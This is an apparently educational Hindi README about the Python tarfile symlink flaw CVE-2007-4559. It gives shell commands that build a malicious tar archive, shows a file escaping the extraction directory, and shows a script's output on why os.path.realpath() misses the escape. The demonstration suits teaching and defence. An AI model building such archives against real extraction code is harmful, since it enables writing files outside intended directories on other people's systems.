
CVE-2007-4559 Python tarfile सिमलिंक हमले का शैक्षिक प्रदर्शन, एक स्क्रिप्ट के साथ जो दिखाती है कि os.path.realpath() क्यों इच्छित निर्देशिकाओं के बाहर निष्कर्षण को रोकने में विफल रहता है।
यह एक प्रदर्शन है कि कैसे python v3.11.4 से पहले tar फ़ाइल निष्कर्षण के लिए python का डिफ़ॉल्ट हैंडलिंग एक साधारण सिमलिंक हमले के लिए असुरक्षित है। नीचे दिए गए निर्देश बताते हैं कि एक दुर्भावनापूर्ण पेलोड कैसे तैयार किया जाए। स्क्रिप्ट untar.py यह प्रदर्शित करती है कि 3.11.4 में जोड़ी गई सुविधाएँ कैसे और क्यों काम करती हैं - विशेष रूप से प्रत्येक फ़ाइल के लिए प्रत्येक लिखने से पहले os.path.realpath() जैसी किसी चीज़ को लागू करने की आवश्यकता। स्क्रिप्ट python >= 3.11.4 में शामिल extraction filter सुविधा में पाई जाने वाली समान निरीक्षण विधि का उपयोग करती है, सिवाय इसके कि यह फ़ाइलों को डिस्क पर नहीं लिखती है। इस प्रकार यह दर्शाती है कि os.path.realpath() सिमलिंक को ठीक से हल करने में असमर्थ है और इस प्रकार tar सदस्यों को इच्छित फ़ाइलसिस्टम स्थान के बाहर लिखे जाने की अनुमति देगा।
निर्देश (यह फ़ाइल) सैंडबॉक्स और दुर्भावनापूर्ण tar फ़ाइल स्थापित करने के लिए।
python स्क्रिप्ट untar.py जो python tarfile लाइब्रेरी में बेहतर tar सत्यापन के हालिया कार्यान्वयन के पीछे 'क्यों' का प्रदर्शन करेगी। os.path.realpath() कैसे काम करता है, इसके कारण आप सिमलिंक को हल करने के लिए इस पर भरोसा नहीं कर सकते जब तक कि वे लिंक पहले से फ़ाइलसिस्टम पर मौजूद न हों। इसका मतलब है कि आप संग्रह निकालने से पहले tar सदस्य पथों का निरीक्षण करने के लिए केवल os.path.realpath() पर भरोसा नहीं कर सकते। इसके बजाय आपको दुर्भावनापूर्ण लिंक गतिविधि का पता लगाने के लिए संग्रह में प्रत्येक सदस्य के लिए प्रत्येक लिखने से पहले os.path.realpath() को कॉल करना होगा। अधिक जानकारी के लिए PEP-706 और tarfile doc देखें।
snerd@jess:~$ mkdir -p lab/{lib,target}
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
snerd@jess:~/lab$ tar -rvPf terry.tar lib
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
snerd@jess:~/lab/target$ tar -xPvf terry.tar
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file lib target terry.tar
इस रिपॉजिटरी से untar.py डाउनलोड करें और इसे ./lab निर्देशिका में रखें
स्क्रिप्ट चलाएँ। ध्यान दें कि जब दुर्भावनापूर्ण सिमलिंक को लक्ष्य फ़ाइलसिस्टम पर लिखा नहीं गया है तो os.path.realpath() को मूर्ख बनाना कितना आसान है।
snerd@jess:~/lab$ python3 untar.py
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-
अलर्ट: 15 साल पुराना Python tarfile दोष '350,000 से अधिक' कोड प्रोजेक्ट्स में छिपा
SO पोस्ट कि python 3.11.4 की नई सुविधाओं से पहले tar संग्रह को सुरक्षित रूप से कैसे निकालें
tarlib लाइब्रेरी के दीर्घकालिक [सेवानिवृत्त 2019] अनुरक्षक का 2022 का वक्तव्य
python 3.11.4 में शुरू की गई नई extraction filter सुविधा का कार्यान्वयन